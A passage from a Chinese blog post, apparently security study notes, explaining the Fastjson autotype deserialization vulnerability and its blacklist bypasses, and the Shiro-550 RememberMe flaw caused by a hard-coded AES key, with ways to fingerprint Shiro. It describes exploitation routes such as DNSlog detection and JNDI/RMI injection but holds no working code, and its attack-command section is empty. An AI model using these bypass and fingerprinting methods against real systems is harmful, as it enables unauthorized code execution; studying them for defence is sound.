​ json解释器,java Bean转字符串,字符串反序列化java Bean

  • 漏洞
    • 反序列化远程执行命令执行漏洞
  • 原理
    • Fastjson反序列化漏洞,都是基于黑白名单的绕过来实行攻击,应为它有一个autotypeSupport属性默认为false,并且增加了checkAutoType函数,进行防御
    • 1.2.25版本引入黑名单,判断类名是否为L开头,以’;'结尾,是就提取加载类名,那我们利用这个构造POC
    • 后来就去掉了这个判断方法,但是没有考虑到双写的情况,也就是只防御一组,再多添加一组就不行了
    • 1.2.47版本下,利用loadClass中cache为true,首先利用Class获取到的类缓存到mapping中,让后从缓存中获取类,来绕过黑名单
    • 黑名单的绕过必须autoTypeSupport属性true才能使用,1.2.25之后默认都为false
  • 判断漏洞是否存在,使用dnslog的方式
  • 利用:
    • JNDI注入+RMI
      • 就是远程注入一个反序列化的类,让后再远程掉用这个类上的接口
9.6、Shiro漏洞

​ java安全框架,身份认证、授权、加密、会话管理

  • 判断是否使用shiro

    • 抓包,响应头是否有rememberMe=deleteMe,说明使用了Shiro组件
    • fofa搜索
    • 漏洞扫描器
  • 漏洞

    • 反序列化远程代码执行漏洞

      • Shiro-550反序列化远程代码执行漏洞原因

        • 框架提供了一个RemberMe功能,浏览器关闭,下次登录就无需再次输入账号密码,认证的身份信息存放在Cookie中,shiro则通过ASE对称加密算法对Cookie进行解密来获取身份信息,而ASE的密钥是硬编码在里面,密钥泄露,那么就可以伪造身份走通流程。

          攻击者通过以下流程构造攻击

          攻击命令

          声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/866717
推荐阅读
相关标签